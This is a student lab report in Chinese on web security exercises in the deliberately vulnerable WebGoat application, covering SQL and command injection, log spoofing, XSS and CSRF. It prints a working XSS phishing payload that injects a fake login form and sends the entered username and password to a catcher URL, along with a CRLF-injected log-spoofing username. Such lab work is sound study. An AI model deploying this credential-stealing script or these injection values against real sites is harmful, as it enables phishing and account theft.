2018-2019-2 20165320 《网络对抗技术》 Exp9 Web安全基础
目录:
-
sql注入:
-
XSS 攻击:
Phishing with XSS
Stored XSS Attacks
-
CSRF攻击:
Cross Site Request Forgery
CSRF Prompt By‐Pass
一、实践回答问题
(1)sql注入攻击原理,如何防御?
(2)XSS攻击的原理,如何防御?
(3)CSRF攻击原理,如何防御?
原理:CSRF(Cross-site request forgery)跨站请求伪造是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。
-
防御:
二、实践内容
(1)Webgoat安装:
首先从Webgoat官网下载相关.jar包
在Kali端输入:
java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar
运行
浏览器输入:
http://localhost:8080/WebGoat
进入WebGoat登录界面,输入默认的用户名密码登录在使用前需要确认8080端口有没有被占用:
netstat -tupln | grep 8080
(2)sql 注入攻击
1.命令注入:Command Injection
-
在网页的源码中注入
netstat
与ifconfig
命令:
2.日志欺骗:Log Spoofing
-
通过在日志文件中插入脚本实现欺骗,攻击者可以利用这种方式清除他们在日志中的痕迹。
- 在
Username
中填入20165320%0d%0aLogin Succeeded !admin
- 在
3.数字型注入:Numeric sql Injection
4.字符串注入:String sql Injection
(3)XSS攻击
5.XSS 钓鱼 :Phishing with XSS
-
当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
-
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
-
6.存储型XSS攻击:Stored XSS Attacks
-
这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
- 在title中任意输入字符,留言板中输入:
- 在title中任意输入字符,留言板中输入:
(4)CSRF攻击
7.跨站请求伪造:Cross Site Request Forgery
-
跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。
8.绕过 CSRF 确认:CSRF Prompt By‐Pass
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。